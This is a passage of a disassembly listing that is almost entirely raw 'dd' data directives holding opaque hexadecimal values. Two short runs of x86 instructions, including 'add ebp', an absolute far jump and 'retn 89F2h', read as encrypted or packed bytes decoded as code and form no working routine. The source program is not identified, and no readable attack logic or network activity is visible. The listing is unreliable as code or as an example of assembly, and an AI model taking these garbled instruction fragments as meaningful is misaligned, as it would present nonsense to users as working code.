96C732Dh, 0D019A435h, 62801DFh dd 61AA5BF8h, 8C3E1823h, 80386C47h, 108E6FDBh, 0B49849h dd 0E92FAC1h, 0FE95364Eh, 0B2322A03h, 135B1C33h, 40E9A8D6h dd 66E78F54h, 0D4384ADBh, 4CDA625h, 69C52002h, 3E24E0D2h dd 0E05C5022h, 6E342C18h, 6FFD62A0h, 0A8520D01h, 0A52848h dd 82AF27Eh, 55362DB4h, 0B91DD72Eh, 8E188539h, 0F849C4E6h dd 405C4465h, 0AC418483h, 28A4ADCCh, 2DB82556h, 0ECA0BC09h dd 82E677D1h, 0A444175Bh, 0D1343D37h, 8BE9482Ch, 20189850h dd 26D96938h, 22502402h, 0D7290860h, 53509425h, 8F20C0BAh dd 0C3B230C4h, 0D4BD4D05h, 78A278h, 0CABE9194h, 266C2EBh dd 0F62B1D0Ah, 0E0C1A45Bh, 4C0829F1h, 5C1B040Ch, 0E8F055CDh dd 0EFDB0132h, 258E4E88h, 63788036h, 2B8446B0h, 4CB209C8h dd 4E8EFF6h, 60EFB798h, 0BE208DB8h, 0C4F95D38h, 8B155C0Dh dd 0C0027B8h, 18E0515Bh, 373E10D5h, 0A32B1217h, 0D486D006h dd 0F72C8810h, 20E08027h, 5C184090h, 0D41F250h, 0BDC703E9h dd 8BFE8D9Ah, 98AA2829h, 0F809D100h, 4B4DFD4h, 97BD69B5h dd 8DDCD17Dh, 18B46872h, 0CDB0FF2Dh, 109500D8h, 34ED8C1Dh dd 5A5BAF5Ch, 1C985012h, 0AB042A26h, 50289ED0h, 9864DD5Ch dd 0D0A06628h, 14FF4D17h, 2AE610h, 3C308D16h, 1DE3290h dd 0B92D91D6h, 7124361Eh, 0B44262Ch, 0EAAE59FBh, 0EABC21ACh dd 296017Ch, 4CA85E02h, 0AD1269B2h, 3B6364FEh, 0F6C5820Ch dd 3F35E02Bh, 69905C25h, 19AE3B28h, 7549853Ah, 57595F00h dd 0E21B6951h, 6A1AF640h, 0F1024A03h, 7592F0EAh, 0CF84485Dh dd 5C8C3C1Ah, 0F8023710h, 7AEF22C0h, 15F3898h, 8803C884h dd 0CB8C253Dh, 0D8052999h, 0DCE0EA9Dh, 0ED82C0E1h, 8A8A21A1h dd 9C05824h, 26FDEA06h, 6D2E060Ah, 956FE708h, 0E6323E20h dd 3425311Dh, 0B98A5D06h, 51E78096h, 0E566A669h, 0EA590C64h dd 54302479h, 7228BC00h, 0E4C23140h, 0CECE605h, 0CC5EA08h dd 0DE32F822h, 271D6257h, 46E927C9h, 0FE7F09C6h, 0C0EC8430h dd 0F0252D88h, 67ABA805h, 848CC08Ch, 0D8F703C5h, 0B23F52F2h dd 81D0BF87h, 2996055Ah, 0EAD02DF9h, 0FD4B6D3Fh, 53E6CC48h dd 0BBDBB00h, 0F3821784h, 20DC1B9h, 9F158CD6h, 0C694055Dh dd 3E348C94h, 0D06D932h, 40FF545Dh, 8A510547h, 0EA1854E1h dd 59386561h, 0ECBA0052h, 8236DD03h, 0BDA402C2h, 696A6628h dd 0D5030541h, 1450738Ah, 40C482E4h, 3BF570Dh, 3718830Dh dd 7C04864Bh, 0B3731F0Ch, 74EC0059h, 20E510Ah, 81CF468h dd 14B9293Dh, 3F3A3C00h, 82C42A6Fh, 51F080Dh, 6E42102Fh dd 7590155h, 98EA3950h, 7F51BD2Eh, 49BD139h, 21109DBh dd 0DBB64A10h, 0F9BC80h, 2E19550Eh, 33A6789Ah, 0D50FCBA2h dd 0DBF81640h, 0DE491AEAh, 27C60361h, 0DA58B172h, 423449ACh dd 0D46046D8h, 15204C0Ch, 0C382E314h, 8E06909Bh, 0C8471253h dd 60BA905Bh, 69976B98h, 161649D5h, 8BBFF860h, 600CDF23h dd 1A29FFEAh, 4E240F69h, 9E497668h, 3FBC6820h, 7E3D216Eh dd 436EFE4Ch, 0DDBCC71h, 6020F85Dh, 63CE9594h, 0E890A551h dd 0F44DD67Dh, 6D67781Eh, 0E7A35EA0h, 0F6147606h, 7B2E78D9h dd 56486343h, 0B07FF159h, 815BD407h, 0AAE3D5ECh, 8C32286Eh dd 655391BDh, 4FD05459h, 0AC0373Bh, 31C4EF48h, 71D6DD76h dd 0A70F8054h, 875E20BBh, 0AE38252h, 0EC12146h, 0E6F41FAAh dd 42EA0660h, 89003211h, 0FB2959E8h, 7B055C67h, 2DD13A23h dd 5380A949h, 0C78165B7h, 0DDEFCCE1h, 6467EA76h, 3673FC8Dh dd 59DC0649h, 0C8909E9h, 7C7F4848h, 1F6D6A3Eh, 2A8CD7F7h dd 0EC5D1C5Eh, 0C1F63AAh, 23E94E5Ah, 6102C325h, 0D10834D0h dd 3C65C001h, 6EC4F624h, 55012004h, 8F1359E9h, 0FE14870Ch dd 1077E10Ch, 0C8B3C66h, 7A0A688Ch, 40DC8912h, 6055E7CFh dd 4C3A1F33h, 1D8F37E9h, 5C01A320h, 242C2B07h, 394A8B54h dd 7F286861h, 81BF2752h, 9347E90Dh, 0D1D78F03h, 9B45685Ch dd 989C898Dh, 6042E9E2h, 0D4F61497h, 17AC480h, 46D1520h dd 271AFDBBh, 5217D023h, 0C1004D7Dh, 0F78105E7h, 766D6714h dd 30CF1C69h, 47007C22h, 0E9FFC783h, 7DA38C12h, 0C2538233h dd 890A051Ch, 0CC381E3h, 0E90C8357h, 1082A830h, 29E68956h dd 81AEC681h, 0D02C96BDh, 0A5EDF04Bh, 0C1740A67h, 0E5300467h dd 40BCE907h, 0CE77FE42h, 0FFEE241Ch, 4E4CAC5Fh, 7351A03h dd 5D3402DAh, 8324328Bh, 7568A787h, 0A28E5816h, 8A4903E9h dd 94D93B8Ah, 9E663873h, 0BB0D3D4Ch, 3E57F2C7h, 537E74FFh dd 4911B85Fh, 536A603Ch, 6C7B850h, 310C8545h, 0E9183044h dd 0C36B71FDh, 0FAC9858h, 5DC6214h, 880810C4h, 0FD60D55Fh dd 58E728CEh, 0F8D4FB04h, 0AB50E92Ch, 0C7020DE9h, 73515C2Eh dd 0A3067C46h, 248904ECh, 77BFEBEEh, 33485520h, 631364Bh dd 691EFC0Dh, 84827787h, 42E08085h, 5A70D328h, 1AE9C30Ch dd 77B62265h, 8D3136EDh, 0E1E640E9h, 4471577Bh, 0DDF8DEA9h dd 0C1FEB1Bh, 0D943C4B9h, 284C294Dh, 498FFF8Ch, 0E9826C59h dd 0B22D0738h, 3168E0CCh, 61F0A90h, 598642DBh, 414C984h dd 48590BC4h, 0F2768C21h, 7A2C28F9h, 0D8F1A13Dh, 126FA7DBh dd 98084664h, 4CDDAA95h, 4841845Ch, 0C91BC155h, 5DB53111h dd 81E5D2E8h, 2C18364h, 1F5D0C87h, 9BB2528Eh, 0E95AD000h dd 34D4E8DBh, 227A4465h, 0D6184D45h, 65B05Ah, 625D7E9Dh dd 96E9DBF7h, 1D810340h, 0D84B8DEAh, 0FE5261Dh, 0DA2995A0h dd 0E95BA5C1h, 2E8D83EDh, 606D20B8h, 3004819Ah, 2A981D88h dd 2D8A6B84h, 994AB618h, 0AED4E158h, 0C70F8F6Dh, 5AD356C8h dd 8624485Dh, 76FA652h, 947989C4h, 9C890FC6h, 48D6DE26h dd 0CAF61784h, 0CD4749h, 7F7DC918h, 62428F50h, 5258C338h dd 0A0843941h db 6Bh, 0A6h, 5 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 409C5814h push es add ds:4DA8759h[ecx*8], edx pop esp jmp near ptr 0C4DDD598h ; --------------------------------------------------------------------------- mov esi, 56294063h add dword ptr [ebx], 683A5112h push es pop edx retn 89F2h ; --------------------------------------------------------------------------- dw 2F07h dd 6F3B8410h, 5854B1CCh, 3641385Fh, 0C0870608h, 0D1215C22h dd 4C417BE9h, 127F803h, 3BBE56BFh, 0ED32D443h, 8888F6A0h dd 0FE89C3BCh, 895FF924h, 2666E2h, 0CA87D129h, 0D8608BF2h dd 4D9CF41h, 0C11A13C0h, 0E78504EFh, 30DD1F60h, 44BD21D5h dd 2F253BAh, 429723F5h, 18AADAA8h, 8A5EF5A8h, 8CD70F41h dd 2302C677h, 31B2CD33h, 8B0D9E06h, 8298CC3Ch, 9A634468h dd 0A8EF45C2h, 2FC426A5h, 0D0944477h, 37E52D42h, 2954C70Fh dd 1FA586D0h, 59D3ECA1h, 5189AE85h, 0B8683E81h, 29DB2374h dd 0E981D6BDh, 27A842ADh, 0C0F20CD4h, 8B28C1C9h, 0EEECCC0Bh dd 8D4D1D3Ah, 0A4CE291Ch, 0C2920804h, 0EAC102E5h, 62195E40h dd 16BC0899h, 1471273Bh, 0E0068356h, 3ECFEDF6h, 0A6298B5Eh dd 6536522Bh, 22ECA176h, 0A76866A9h, 51ECD9B1h, 280DB4E8h dd 3BACE9C8h, 70D1D100h, 0C1170C72h, 0DAAE05EEh, 60534719h dd 69F0612h, 51E60102h, 9E3F5408h, 0BE8029E2h, 0E9F309D3h dd 8F11529Fh, 8F54C605h, 428A1D49h, 5D14532Ah, 62046D61h dd 10124D24h, 0B8004284h, 1B9543E5h, 587DC731h, 7B649226h dd 98120E69h, 5DFED61h, 31B2A4ACh, 7B75C2E8h, 13F78000h dd 30CF75FEh, 3E10C0C7h, 941CB050h, 51875C34h, 0E6271F04h dd 557C670Ch, 6647C5DCh, 23D1F384h, 71BE7A68h, 0A7190515h dd 4A14D32Ch, 10211AAh, 0E99DC380h, 4C96F183h, 5340750h dd 0BE8C0804h, 1DC5BD74h, 4B40CC46h, 5005EF29h, 0BA73415Eh dd 200F05ECh, 0B5039B6h, 47059A1Ah, 0D52937BFh, 9088010h dd 271809E9h, 4F755F76h, 1A6855D0h, 47DF2431h, 5ACCA429h dd 5F4ADE83h, 7FBB0D07h, 2992D609h, 5B17C05Ch, 25B99201h dd 0D1A5F3Dh, 0FCE91501h, 3132240Ch, 0CE062CD2h, 9BB6379Bh dd 8298A45Ch, 39532385h, 64935641h, 8AC45ABDh, 0FD159145h dd 1AB91392h, 17A926AAh, 0F6515A4h, 6802B22Ch, 40280FB5h dd 810D8803h, 65E3047h, 0F2F78109h, 21DB82F5h, 3183E1FEh dd 30498D04h, 37043E7Ch, 0F201628Ch, 8228684h, 50DF695Eh dd 0C1553B60h, 1985E335h, 0DBC1E115h, 44F36A16h, 180071Ch dd 9685BDAh, 58A8944Ch, 5503C281h, 1699513h, 88241FAh dd 8320D822h, 36093348h, 180D0631h, 0C33962E9h, 4A135986h dd 0AA5C8938h, 0DD6195FFh, 1E2F6297h, 0DAF70278h, 0FE0C49C0h dd 1BD0F09h, 906309D5h, 90F5299Eh, 75561C2Bh, 339A464h dd 3EAF2574h, 1E5E9524h, 0E9D5F7C0h, 0E546048h, 840FC00Bh dd 686F5761h, 0E4734458h, 1831B900h, 0F7514E25h, 505976C0h dd 3F7326B8h, 0C19F33DCh, 8766C58h, 873F20A9h, 501415A4h dd 1F2C3F7h, 4B74C2DDh, 81CFB870h, 4E9D09EFh, 0A9827DA6h dd 0C0CD891h, 0B66154DBh, 134E2E5h, 0EDC16625h, 0ECDDF702h dd 6518BAF5h, 8EF67863h, 6F763901h, 1978EEACh, 63C13D5Eh dd 0E90C20C8h, 59E95C74h, 542BE6D1h, 9BEE20A4h, 29329A45h dd 0E8C19F30h, 96F60B69h, 2CE4B397h, 7590493Ch, 969056DEh dd 4A690859h, 1C967C37h, 3688D22Ch, 0FA929AB1h, 0CA88AC1Dh dd 0DE208FA8h, 28C2807Ah, 1A1B023Eh, 5E092D40h, 0BF579640h dd 6DEA6B01h, 3C69E98Fh, 9C066FBBh, 0C45410Ch, 0A57BB40Fh dd 3D316543h, 5EA52494h, 8FCF8928h, 88E32416h, 5A450DFAh dd 0C20A0D63h, 2EA08358h, 6A68849Ch, 48A6B237h, 41580153h dd 44817EC3h, 63111500h, 5B010726h, 0E9C13BA4h, 41925613h dd 5ED12E3h, 834BBC36h, 0E5F8695Eh, 0D611F711h, 0BF0FC2E9h dd 25E96F8Ch, 49C51F80h, 0CEB832F1h, 0E00BED0Ch, 70CE0C18h dd 1D00ACDh, 1F985FFEh, 7B55C764h, 4F6AFF83h, 18FE4AC1h dd 0F75FF6FFh, 0BA52D701h, 7D1F7B90h, 0EA34A81h, 0FA294B42h dd 8066942h, 0F6091E5Ah, 0E4F87486h, 0CCE91213h, 83744ED1h dd 0E18140FDh, 334A397Fh, 479062B0h, 460BFDE8h, 3293664h dd 58F7A2F5h, 4C9E7034h, 0BDF02C9Ah, 667331Fh, 0A1533A75h dd 7B815C34h, 3101806Bh, 733160FDh, 4A087E49h, 648D2B12h dd 655D0792h, 5FCFD277h, 5B7F1D50h, 732CCF05h, 98532B40h dd 4FED0806h, 41B81E75h, 0CC2F1E0Ah, 7761025Dh, 589D1C0Bh dd 0DB351011h, 5BD7CBD0h, 0E4A0A409h, 0E7C1DFF7h, 10170858h dd 7C4054B3h, 896B404Ch, 0A159CD24h, 78270500h, 0F1EB011Ah dd 0C6088DCAh, 531202FDh, 33596E42h, 0EEB47231h, 0E2DD8801h dd 1B4B1F72h, 4A046549h, 0B2264C25h, 13299182h, 5F639005h dd 0E913E0D3h, 20536621h, 0E5A3A174h, 0EE1A5D26h, 1C68A0D0h dd 4B839243h, 350F00F2h, 0EE2090C5h, 14EF10CCh, 0EBFA5029h dd 617845A8h, 200CE561h, 0FBB8C9F3h, 9F56D624h, 0B32B3902h dd 85DEC36Ah, 9EF5A360h, 6F042C5Dh, 9490300Dh, 284C9D5Bh dd 0E9050F68h, 0EB29A19Fh, 0D322C8Bh, 83DA8913h, 0E7B0579Eh dd 4E600FE9h, 4111BDFDh, 6A3D5C75h, 51A27326h, 33055C05h dd 45CB8FA2h, 0E93BCCB4h, 80DD3A24h, 0A95452C2h, 0F0909E4h dd 0E9137034h, 0C02FC0B8h, 70F002E5h, 6805FBB4h, 6A8D5355h dd 0A3E388D8h, 0D3C362FDh, 0B6A97FE9h, 40B7FE05h, 5EF131B2h dd 3992CB21h, 0C4345A02h, 40D829ECh, 80F58D24h, 74C48F64h dd 71E67C7h, 0ACB60F66h, 8D9E067Eh, 9C92ACAh, 4E56BBC8h dd 413746FBh, 2D7EE117h, 0A12CA0ADh, 0A7E1C022h, 820B839Ah dd 0E9E50B66h, 3FA11AA7h, 0F49F55AEh, 8F0050B8h, 0F0296A6Bh dd 1FA355Eh, 8927E94Ch, 0D85158C6h, 719C8887h, 0C0868E1h dd 0E982AE2Ch, 0F7201795h, 76662E2Dh, 13E77E4Eh, 10B873Ah dd 6D1289FFh, 0FDC1700Ch, 101D6905h, 0AB01D3F7h, 4AB93FD9h dd 1887E220h, 18365E49h, 3B07E395h, 5BDF29B8h, 805FF932h dd 1E32C298h, 0F369066h, 588C1D0Fh, 119AE64h, 8E5C15Dh dd 26755BE5h, 407FEF68h, 880E5123h, 80D5F6F5h, 0CEFE59EEh dd 3AAF080h, 0E95AF108h, 2A12343Bh, 2408C221h, 0ACBA0065h dd 9558877h, 2D5AD000h, 52E75022h, 5D877F7h, 9F476C69h dd 0FF888821h, 4E2C101h, 2DCB6857h, 220AB014h, 10438A41h dd 266BB02h, 6436EFDCh, 0B9803A51h, 0D853918h, 68128C98h dd 37CC346Ch, 0F45B31CBh, 54152A5Ch, 5A5AD00Dh, 0EA03C14Ah dd 5EF28107h, 0C3CDF23h, 0F61C05D2h, 0D8D70167h, 3326E981h dd 28C4FC66h, 79551A92h, 0B490A0ADh, 15E0B43h, 0DC0E628h dd 2516CDF1h, 36FA0578h, 90012772h, 0E909D05Dh, 6127498Fh dd 239E640h, 0E9179407h, 210B75D4h, 0CB280481h, 11EB8000h dd 3700C3E6h, 0F6D9B252h, 0FACAFEDAh, 30817DF2h, 0BE0CC4E2h dd 0F36296E9h, 0A0665C92h, 28CDB4BCh, 43CE9CE6h, 2401DFB9h dd 0C281DA01h, 67E56007h, 81884170h, 329C80ADh, 2D2B9235h dd 535802F1h, 5E8294Eh, 8F320789h, 15B7B940h, 0AE173724h dd 726D12B0h, 13F2053h, 2D512190h, 7E62820Ah, 0C161ED43h dd 5C0219A8h, 3B9E1ECEh, 0A429EFE4h, 584691E7h, 0D149391h dd 20F0F01Ch, 1E05DAF5h, 0E821E1E5h, 91E96020h, 0EF059C69h dd 4A47D6Bh, 0B69ED428h, 0EB7B7B4Bh, 22710C5Bh, 4F231D6Fh dd 5421674Eh, 8EDD87h, 0B50D6B85h, 0E945590Bh, 29736120h dd 409C6434h, 0C2900162h, 41C3312Eh, 1DD63715h, 0C5414BB0h dd 0F2F58058h, 0D8FCE8C1h, 0CBA3CE0Eh, 8B41BFE9h, 96EF2031h dd 45D4CC6Bh, 0A7BA00D6h, 42365F6Dh, 848E490h, 81021DA8h dd 5E56D983h, 52B8B426h dd 34B6912h, 765CD71Fh, 30D32989h, 6DC1EE25h, 0D8282BB3h dd 0C45B79E4h, 0E2E68812h, 0B9598AEDh, 0A37A65E2h, 8046EBC4h dd 78291285h, 846E5C3h, 516E000Ch, 0E95339E2h, 0D2D6FA63h dd 0C7622E65h, 687AE001h, 0E33B4C47h, 0E99221D6h, 5C287410h dd 155C8EECh, 0B183A354h, 0D1715502h, 0FF41CE35h, 21972209h dd 0F14A0BF0h, 30023668h, 0EC59C37Ah, 0FE291D51h, 487251CBh dd 0C0E4447Eh, 0FCBBF2Eh, 0B9025DC4h, 0E35A0940h, 99FB6301h dd 4E6059CAh, 8DFDB402h, 3936E77Eh, 4E066C93h, 0F3ABAC4h dd 64CA055Fh, 0A98BDFCh, 0CDFE2CDEh, 70411B8h, 665FC580h dd 307B24C0h, 8BE912D5h, 685BC870h, 9374324h, 0EA045665h dd 0C0032B30h, 0E79803EFh, 0F7388006h, 0B8F82CFBh, 79446342h dd 54825A0h, 0C8BE80D1h, 994E406Bh, 95F7724Ch, 26C16412h dd 8A43AF9Eh, 0E1058C84h, 0BD0A212Ch, 0CB1B004h, 173257A6h dd 62D2C958h, 1B098315h, 57760112h, 0A141A9BFh, 3090611Bh dd 3B18D6DEh, 343C29AAh, 75B2287Fh, 179A32B5h, 928BEB4Bh dd 0DE899423h, 6052EF25h, 83400A24h, 0A935114Bh, 0C8459417h dd 0ECF1B2E9h, 3C5FBA11h, 3F695B02h, 51462250h, 2DCCED2Ch dd 9A2D896Dh, 68E2487Bh, 691294FDh, 0A12060E5h, 62C86812h dd 3AF0F060h, 4A3F2825h, 4CBF00AFh, 0EA091DB7h, 9EBC05E9h dd 2FB55101h, 2E20B050h, 34725B9Dh, 0FDCE30EEh, 7401D413h dd 4B41BA52h, 2706412h, 31EC001h, 81135021h, 57C9ED09h dd 0EA6A03DAh, 5AD5E15Dh, 0AC600822h, 0DE184468h, 95E2F0Bh dd 0C5DB00F5h, 76F86D56h, 1883F276h, 4E12C637h, 1009B24Dh dd 616BE9A4h, 0B9FB01A3h, 0ED9A750Eh, 56F194E7h, 861EF80h dd 96B6E942h, 0F0728C4h, 18FC5DD2h, 0F0AC946Bh, 49009616h dd 0FB013423h, 2DD9895Fh, 0DA809FE9h, 80D0B353h, 0C046E31Ch dd 0DBF608C6h, 0C3FE3E04h, 0E9B6F305h, 4204B1FDh, 0E6100102h dd 45588105h, 0E20E3190h, 0D34B3946h, 5B54B104h, 51349BF3h dd 0E9F33038h, 0CB25015Dh, 5BF89159h, 0B6754EECh, 1CA5526Ah dd 260E129h, 0FAD04B85h, 103B5448h, 0E059FBB0h, 0AAC5526h dd 9CFE7C4Dh, 0D8318FADh, 8443D79Eh, 0E18FF135h, 682D382Eh dd 0CB6B63C1h, 0E9CC0ABDh, 49BEF3F5h, 0D558CE1Ah, 1CD54531h dd 0CBDCFB31h, 0F1C5C022h, 448A1E6Ch, 68D9F704h, 0F5B971D6h dd 9F09F426h, 32BE0756h, 1E0049EDh, 0E03752F6h, 3805585Bh dd 9AF1CDE9h, 5858029h, 10FA8B4Eh, 4860E220h, 4F154667h dd 0BBF20126h, 0DB61B2C9h, 0C0838FA0h, 82BF94D6h, 452B020Ah dd 18B12F92h, 43D16852h, 95E91230h, 77105A52h, 0C912D0AEh dd 93737865h, 32871542h, 89AD685Bh, 0F0E9E30Bh, 0C2E44C64h dd 5E426808h, 8B6310C6h, 125A2A17h, 37336C79h, 8A26BF5Fh dd 0F6028B5Dh, 65BC4FA8h, 0F27F43C1h, 128F5636h, 2BABB55Ah dd 58598840h, 63AC6851h, 340E5B3Eh, 0E6F14904h, 21C2BE23h dd 6C796ACBh, 9EE5E628h, 822BF232h, 65BC2A0Ah, 2AC1E157h dd 0FF486C2Ah, 847F3428h, 84C82B99h, 0A4B13D37h, 70015AC1h dd 8095B8B7h, 0DEF74EC3h, 5FEE0A81h, 87906914h, 0A2378A73h dd 5D40F229h, 1D0033EAh, 0B9516CA3h, 5CE8E317h, 20480686h dd 0EC5D7854h, 2D48BE1Eh, 28665819h, 0DA327F9Eh, 0E0F61ECEh dd 95E676C0h, 6A05B8BBh, 391E1D9Ah, 0A0C2ECE0h, 5266E908h dd 0A392877Dh, 0F729108Dh, 99429045h, 515202E1h, 88322EE0h dd 3796F298h, 29A2E905h, 58DDD1A4h, 6489E4D7h, 27E95A28h dd 6BB63F96h, 587A6858h, 22D2746Bh, 868A5E7Dh, 0A302E977h dd 58682AE9h, 2AC47C01h, 0C7E83C8Bh, 0DE51B2B5h, 9414F9A8h dd 1AEF3A37h, 0FBEC6F8h, 291F62CFh, 80C26A0Dh, 102AB32Eh dd 760CC115h, 8234CF28h, 0A751DC56h, 0F2A28138h, 60D60126h dd 162CB82h, 0DFF70914h, 6673FEE9h, 0FC6809B5h, 0A1BE1A03h dd 0F8C5E979h, 82E5E850h, 25D43D33h, 421F5397h, 0B30F668Ah dd 9F603CDAh, 5FF831B3h, 0C60D5568h, 0DD4828F4h, 2A2283F9h dd 0C6D91680h, 9E1E3279h, 5A1586C9h, 0EBEFA11Eh, 65C97D7h dd 28593E7Eh, 0E16EE912h, 0C6A3F2AFh, 397E1068h, 1896163h dd 4442B9F3h, 1C19612Eh, 5913822Fh, 0E6740C68h, 0E90DA85Ch dd 0E5696BC4h, 7485E3C0h, 0B8506B40h, 8C014A22h, 77059262h dd 0CCE93D6Ch, 9F3348A1h, 1A7E307Ah, 23483D15h, 10A97CE7h dd 0D8165B9h, 4036D04Ch, 0D1611A91h, 19486D90h, 0B273246Ah dd 60DFAEAFh, 84411B9Dh, 46B5A229h, 19352088h, 14D1874Ah dd 65813031h, 0D0382EC5h, 0F9CDD804h, 7575372Ch, 9605DD12h dd 1C9241E8h, 76700E1Ch, 0E9627C9Ch, 1185002h, 7D6E4D35h dd 0EEE8C131h, 58235240h, 417E0713h, 5647A300h, 30C130ECh dd 4AE208E9h, 0CE1EEBC4h, 4BBEC801h, 6E0DB6C0h, 0F4997244h dd 5D9283D1h, 32AC366Eh, 74C56D20h, 9582701h, 19E0AE2Bh dd 164099E9h, 622109BBh, 9452655Ch, 0BC775090h, 0D7A070BAh dd 60820572h, 25685A86h, 0CB6612E0h, 12C96259h, 1D44FF56h dd 0B1076C78h, 701172D2h, 0F8015900h, 8E70305h, 8B5F2835h dd 0CF3794ACh, 0F9E916D9h, 0D9290F41h, 4F6C5F5Bh, 0F6F1F6C6h dd 0E9CCB606h, 97F3D897h, 52205C9Eh, 700900Bh, 0CBD011Ch dd 0BD83195Dh, 79DB515Fh, 68630C05h, 0EEC057A3h, 4B2F4F76h dd 0F59A802Ah, 9A94B597h, 0C4BB5300h, 0FE6E4C75h, 519904CBh dd 0C04B253Ah, 0BA545636h, 0DA29120Bh, 7C3C0F5Bh, 0C4218680h dd 7B8505Ch, 749759DCh, 9658E729h, 3E811652h, 0A5556089h dd 21B36992h, 6072B22Fh, 58D106E3h, 20005EEEh, 213546D0h dd 3A905EF0h, 0C8310A16h, 0B516CD24h, 0F7918342h, 56DD61D1h dd 4B0F9114h, 89863C6Eh, 51FD0258h, 4612A912h, 0D2AF208Ch dd 50CD8736h, 0E8313908h, 505FC520h, 99734229h, 4C6C607Fh dd 577217EDh, 8A11016Fh, 84490C44h, 5CD3ADB0h, 0C1E55Bh dd 0C523276Ch, 0A4E8FE78h, 5E760296h, 0D3893125h, 0C7C0B056h dd 13560C5Ch, 10DF2949h, 5B2E0812h, 3FF1A76h, 1B772840h dd 0A20A1BB5h, 3CB9007Ch, 4E18B16Ah, 0AE2AC829h, 0E1C1805Fh dd 69270778h, 807364D0h, 1F7BF4ECh, 5FF71939h, 0B4098E35h dd 208F0D80h, 0C1002769h, 940508E0h, 90A4AB7Dh, 0BE912DCh dd 0D786F352h, 5EF3D720h, 0E1DE20E9h, 489043ECh, 324DA7Bh dd 60B7735h, 0E9DD8220h, 0F408CB8Ch, 505B61E7h, 0B26597F9h dd 50381401h, 1C570909h, 0E956A190h, 9209F54Bh, 4A091255h dd 1355E448h, 0F30AF3E9h, 9C662C65h, 1394B389h, 6810384Ah dd 672F322Ch, 5AE991B6h, 0D2C32D64h, 89E71710h, 0BBB68255h dd 981DAD0Ah, 82D1C6F6h, 0B33534Eh, 0B845FB2Ah, 0F7904125h dd 326977BAh, 0C217CF5Eh, 0ED02ED4Eh, 373B0FC0h, 0CEE661Bh dd 0D4212A9Bh, 0FF42F003h, 0D2300325h, 4E7C482Dh, 0E40B0E00h dd 34E99EFAh, 8C7B959h, 4825CCDCh, 0C1CAA039h, 53686610h dd 0C85E3B63h, 8E5B8F25h, 87089433h, 52F7D2F7h, 0FC02FFDCh dd 0CF54F95Ah, 0CA2CE7C6h, 33263345h, 0DF00516Fh, 83E727BEh dd 7DDE01FBh, 0C8BF2C5Bh, 28CA63Bh, 411A521Fh, 427BCB0Fh dd 3BD058C2h, 0FEE8D821h, 0EDB6C8BBh, 71DA7018h, 5807EE96h dd 0FA85D6F6h, 96E28052h, 4C215A10h, 809F65ACh, 1E069086h dd 2EED053h, 49E913F6h, 0A4F0F164h, 1C8D4148h, 0E6E7F529h dd 0D26816F5h, 523BCA34h dd 4F264C60h, 2AB9B900h, 0B042772Ch, 72A609D6h, 58E2B65h dd 72CD3C91h, 57417F01h, 6A52AABFh, 40E8E465h, 0E93E09DEh dd 65E858F6h, 0E20C4D03h, 4DFF76Ah, 827CB447h, 951DB2F9h dd 6F307A50h, 0D1EB4817h, 33780414h, 11D9E9h, 5253D830h dd 0F63F0EB2h, 0B7E766DAh, 0E9FAC0CFh, 0A8AAF095h, 9ECAAA6Bh dd 27056EE9h, 0B9AE40F9h, 8BB09B9Ah, 0A025ED20h, 1DF0567h dd 0F701F127h, 2F505D5Eh, 71C7B632h, 0E957405Bh, 7DD2CB55h dd 2D684688h, 0F7CC6684h, 2149689Bh, 7AE95242h, 0DD585938h dd 4C7EDE46h, 587BFBAh, 7C1293ACh, 981DF8A8h, 0D0015002h dd 805CD6E9h, 16794265h, 74CEEC2Dh, 0EC556466h, 0E6F4D48Ah dd 854E4DE8h, 3C81EB01h, 242E7F17h, 0D98DBCC8h, 5CE168CAh dd 374E8F63h, 0E9F891A4h, 829A38B8h, 0E3984105h, 5AB6E1ACh dd 3E1D19BBh, 124C52Ah, 2B981CEh, 4FD4072Ch, 0BA0027FCh dd 347B32A3h, 5A58D131h, 0EC69863Dh, 42E791C8h, 0F952545Ch dd 0D6888E7Eh, 61C89444h, 710D0B94h, 95AC007Eh, 0AEB0AA2Dh dd 0C5814C69h, 0F2003B7Dh, 64862DDDh, 35602FE9h, 2A66BD16h dd 29340B67h, 4B71206Fh, 0A2CC6325h, 8071D4C5h, 71F57B38h dd 0FCD0D901h, 25324808h, 0D69662B2h, 0EDD1C3C2h, 93D4E6F2h dd 16B29434h, 38F008D6h, 0F739E027h, 64D2F4DEh, 824CB7Ah dd 3E469C2h, 39E927h, 0B5A9B37Ch, 1DDE0C4h, 0D0CDFE5Bh dd 2E12E9E5h, 2DA2DF16h, 78668B9Fh, 0D4007366h, 56398D26h dd 4194DBEh, 0F2210AB9h, 0FA0F835Eh, 20222399h, 773BAFFAh dd 410CE1EDh, 2204A6Dh, 395F4CFAh, 4D5DF203h, 0D7D22E0Dh dd 57AEC696h, 6E7CEF40h, 13CB1D4Dh, 0F73E1258h, 1DA998D3h dd 1AD4CFF9h, 782D491Bh, 77C9D302h, 0F557970h, 5F5E418Ah dd 75B4E453h, 0DAECC69Ch, 0B5191220h, 0E4B20338h, 0ADDB828h dd 24C04EBAh, 51C6015Eh, 80526755h, 7AA7A20Ch, 4E6BE9ADh dd 0C6DFDC6Ch, 94265869h, 0C38009A3h, 8D5151E3h, 9C968249h dd 19008C6h, 2C7835Ah, 316E2033h, 0C30D06DAh, 0FC3C03Ch dd 0F1C058B7h, 0B20B4120h, 9D02818h, 233A028Eh, 0C291F637h dd 0C50F5196h, 46CC77CBh, 3EA8A158h, 0BC845402h, 0B84F90AEh dd 4A02181Eh, 19360559h, 0BCEBE02Ah, 0BAA27214h, 0CA8102A6h dd 5A027BA1h, 11E28Eh, 0EA87D529h, 0A956BCE9h, 0E761D783h dd 0EF810887h, 0F30EE1B2h, 3A833C57h, 0FB01BC82h, 4E381427h dd 4008F672h, 681A5615h, 42B16092h, 65C1DE0Ch, 5BF6D2A3h dd 5452B97Ch, 157EC2A3h, 0F309206Ch, 5929A852h, 7C8C605Ch dd 9E907A07h, 19860B40h, 8D4F6E5h, 335BD568h, 88530E9Ch dd 59D849D3h, 0EAA94FEAh, 0F60EA858h, 54D530D2h, 1F2F93h dd 88A1B65Eh, 0BCA6F2F0h, 0E7BB001Fh, 2114726Fh, 0C143DF5Dh dd 104A0BEFh, 0ED9DFA89h, 40ACD444h, 0E75CD1FCh, 1037D4C4h dd 0AC3FE0AFh, 25675B96h, 971E1CC6h, 587CD1CBh, 41103387h dd 0D72B6DA7h, 92547E32h, 89EA7950h, 49206DE9h, 0B551D7F6h dd 2CC00E4Eh, 0E480EDD0h, 22E9106Dh, 0C7811226h, 0BAE65FD6h dd 